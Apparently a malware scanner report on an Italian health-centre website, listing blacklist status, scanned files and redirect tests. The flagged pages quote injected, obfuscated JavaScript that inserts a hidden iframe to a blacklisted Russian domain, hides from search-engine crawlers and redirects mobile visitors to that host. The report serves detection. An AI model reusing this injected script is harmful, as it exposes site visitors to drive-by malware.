Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=centrosistemasalutevarese.it
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://centrosistemasalutevarese.it/ | 200 OK Content-Length: 17799 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: novostivkontakte.ru ...[549 bytes skipped]... order = "0"; dsdSSSWrw515312FFF.style.position = "absolute"; dsdSSSWrw515312FFF.style.left = "-200"; dsdSSSWrw515312FFF.setAttribute("frameBorder", "0"); document.body.appendChild(dsdSSSWrw515312FFF); dsdSSSWrw515312FFF.src = agaga31323l; return true; } } function asd61234tkhjasd454hfhf235(){ sd5135GHEDF("http://novostivkontakte.ru/?id=ifrm"); } function SFWR64362fdhHHHHH(){ if(navigator.userAgent.match(/(Googlebot|robot|Slurp|search.msn.com|nutch|simpy|bot|ASPSeek|crawler|msnbot|Libwww-perl|FAST|Baidu|googlebot|slurp|aspseek|libwww-perl|fast|baidu)/i)!==null){ }else{asd61234tkhjasd454hfhf235();} if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|mobile|android|blackberry|brew|cldc|doc ...[940 bytes skipped]... Decoded script: ...[349 bytes skipped]... roid|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|mobile|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce)/i) !== null) { try { setTimeout(function () {window.location = "http://novostivkontakte.ru/?id=mob";}, 1000); } catch (err) { window.location = "http://novostivkontakte.ru/?id=mob"; location.href = "http://novostivkontakte.ru/?id=mob"; } } } | ||
http://centrosistemasalutevarese.it/templates/yoo_vanilla/warp/libraries/jquery/jquery.js | 200 OK Content-Length: 91410 Content-Type: text/javascript | clean |
http://centrosistemasalutevarese.it/media/system/js/core.js | 200 OK Content-Length: 4225 Content-Type: text/javascript | clean |
http://centrosistemasalutevarese.it/media/system/js/mootools-core.js | 200 OK Content-Length: 88540 Content-Type: text/javascript | clean |
http://centrosistemasalutevarese.it/media/system/js/caption.js | 200 OK Content-Length: 800 Content-Type: text/javascript | clean |
http://centrosistemasalutevarese.it/templates/yoo_vanilla/warp/js/warp.js | 200 OK Content-Length: 7410 Content-Type: text/javascript | clean |
http://centrosistemasalutevarese.it/templates/yoo_vanilla/warp/js/accordionmenu.js | 200 OK Content-Length: 1469 Content-Type: text/javascript | clean |
http://centrosistemasalutevarese.it/templates/yoo_vanilla/warp/js/dropdownmenu.js | 200 OK Content-Length: 5712 Content-Type: text/javascript | clean |
http://centrosistemasalutevarese.it/templates/yoo_vanilla/warp/js/spotlight.js | 200 OK Content-Length: 2707 Content-Type: text/javascript | clean |
http://centrosistemasalutevarese.it/templates/yoo_vanilla/js/template.js | 200 OK Content-Length: 1586 Content-Type: text/javascript | clean |
http://centrosistemasalutevarese.it/modules/mod_btslideshow/assets/js/btloader.min.js | 200 OK Content-Length: 1863 Content-Type: text/javascript | clean |
http://centrosistemasalutevarese.it/chi-sono-gli-operatori-del-centro-sistema-salute-di-cairate-varese.html | 200 OK Content-Length: 18964 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: novostivkontakte.ru ...[549 bytes skipped]... order = "0"; dsdSSSWrw515312FFF.style.position = "absolute"; dsdSSSWrw515312FFF.style.left = "-200"; dsdSSSWrw515312FFF.setAttribute("frameBorder", "0"); document.body.appendChild(dsdSSSWrw515312FFF); dsdSSSWrw515312FFF.src = agaga31323l; return true; } } function asd61234tkhjasd454hfhf235(){ sd5135GHEDF("http://novostivkontakte.ru/?id=ifrm"); } function SFWR64362fdhHHHHH(){ if(navigator.userAgent.match(/(Googlebot|robot|Slurp|search.msn.com|nutch|simpy|bot|ASPSeek|crawler|msnbot|Libwww-perl|FAST|Baidu|googlebot|slurp|aspseek|libwww-perl|fast|baidu)/i)!==null){ }else{asd61234tkhjasd454hfhf235();} if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|mobile|android|blackberry|brew|cldc|doc ...[940 bytes skipped]... Decoded script: ...[349 bytes skipped]... roid|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|mobile|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce)/i) !== null) { try { setTimeout(function () {window.location = "http://novostivkontakte.ru/?id=mob";}, 1000); } catch (err) { window.location = "http://novostivkontakte.ru/?id=mob"; location.href = "http://novostivkontakte.ru/?id=mob"; } } } | ||
http://centrosistemasalutevarese.it/attività -e-terapie-attive-e-passive-del-centro-sisitema-salute.html | 200 OK Content-Length: 15166 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: novostivkontakte.ru ...[549 bytes skipped]... order = "0"; dsdSSSWrw515312FFF.style.position = "absolute"; dsdSSSWrw515312FFF.style.left = "-200"; dsdSSSWrw515312FFF.setAttribute("frameBorder", "0"); document.body.appendChild(dsdSSSWrw515312FFF); dsdSSSWrw515312FFF.src = agaga31323l; return true; } } function asd61234tkhjasd454hfhf235(){ sd5135GHEDF("http://novostivkontakte.ru/?id=ifrm"); } function SFWR64362fdhHHHHH(){ if(navigator.userAgent.match(/(Googlebot|robot|Slurp|search.msn.com|nutch|simpy|bot|ASPSeek|crawler|msnbot|Libwww-perl|FAST|Baidu|googlebot|slurp|aspseek|libwww-perl|fast|baidu)/i)!==null){ }else{asd61234tkhjasd454hfhf235();} if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|mobile|android|blackberry|brew|cldc|doc ...[940 bytes skipped]... Decoded script: ...[349 bytes skipped]... roid|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|mobile|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce)/i) !== null) { try { setTimeout(function () {window.location = "http://novostivkontakte.ru/?id=mob";}, 1000); } catch (err) { window.location = "http://novostivkontakte.ru/?id=mob"; location.href = "http://novostivkontakte.ru/?id=mob"; } } } | ||
http://centrosistemasalutevarese.it/galleria-immagini-del-centro-sistema-salute-di-varese.html | 200 OK Content-Length: 17518 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: novostivkontakte.ru ...[549 bytes skipped]... order = "0"; dsdSSSWrw515312FFF.style.position = "absolute"; dsdSSSWrw515312FFF.style.left = "-200"; dsdSSSWrw515312FFF.setAttribute("frameBorder", "0"); document.body.appendChild(dsdSSSWrw515312FFF); dsdSSSWrw515312FFF.src = agaga31323l; return true; } } function asd61234tkhjasd454hfhf235(){ sd5135GHEDF("http://novostivkontakte.ru/?id=ifrm"); } function SFWR64362fdhHHHHH(){ if(navigator.userAgent.match(/(Googlebot|robot|Slurp|search.msn.com|nutch|simpy|bot|ASPSeek|crawler|msnbot|Libwww-perl|FAST|Baidu|googlebot|slurp|aspseek|libwww-perl|fast|baidu)/i)!==null){ }else{asd61234tkhjasd454hfhf235();} if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|mobile|android|blackberry|brew|cldc|doc ...[940 bytes skipped]... Decoded script: ...[349 bytes skipped]... roid|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|mobile|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce)/i) !== null) { try { setTimeout(function () {window.location = "http://novostivkontakte.ru/?id=mob";}, 1000); } catch (err) { window.location = "http://novostivkontakte.ru/?id=mob"; location.href = "http://novostivkontakte.ru/?id=mob"; } } } | ||
http://centrosistemasalutevarese.it/orario-del-centro-sistema-salute.html | 200 OK Content-Length: 10895 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: novostivkontakte.ru ...[549 bytes skipped]... order = "0"; dsdSSSWrw515312FFF.style.position = "absolute"; dsdSSSWrw515312FFF.style.left = "-200"; dsdSSSWrw515312FFF.setAttribute("frameBorder", "0"); document.body.appendChild(dsdSSSWrw515312FFF); dsdSSSWrw515312FFF.src = agaga31323l; return true; } } function asd61234tkhjasd454hfhf235(){ sd5135GHEDF("http://novostivkontakte.ru/?id=ifrm"); } function SFWR64362fdhHHHHH(){ if(navigator.userAgent.match(/(Googlebot|robot|Slurp|search.msn.com|nutch|simpy|bot|ASPSeek|crawler|msnbot|Libwww-perl|FAST|Baidu|googlebot|slurp|aspseek|libwww-perl|fast|baidu)/i)!==null){ }else{asd61234tkhjasd454hfhf235();} if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|mobile|android|blackberry|brew|cldc|doc ...[940 bytes skipped]... Decoded script: ...[349 bytes skipped]... roid|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|mobile|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce)/i) !== null) { try { setTimeout(function () {window.location = "http://novostivkontakte.ru/?id=mob";}, 1000); } catch (err) { window.location = "http://novostivkontakte.ru/?id=mob"; location.href = "http://novostivkontakte.ru/?id=mob"; } } } |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: centrosistemasalutevarese.it
Result:
HTTP/1.1 200 OK
Cache-Control: no-cache
Connection: close
Date: Fri, 16 Jan 2015 14:56:29 GMT
Pragma: no-cache
Server: Apache
Content-Type: text/html; charset=utf-8
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: b5f0cab6b974f14f796370e98b09d62c=fisboqr7no7r23ctrt4mu1cg40; path=/
X-Powered-By: PleskLin
GET / HTTP/1.1
Host: centrosistemasalutevarese.it
Result:
HTTP/1.1 200 OK
Cache-Control: no-cache
Connection: close
Date: Fri, 16 Jan 2015 14:56:29 GMT
Pragma: no-cache
Server: Apache
Content-Type: text/html; charset=utf-8
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: b5f0cab6b974f14f796370e98b09d62c=fisboqr7no7r23ctrt4mu1cg40; path=/
X-Powered-By: PleskLin
Second query (visit from search engine):
GET / HTTP/1.1
Host: centrosistemasalutevarese.it
Referer: http://www.google.com/search?q=centrosistemasalutevarese.it
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: centrosistemasalutevarese.it
Referer: http://www.google.com/search?q=centrosistemasalutevarese.it
Result:
The result is similar to the first query. There are no suspicious redirects found.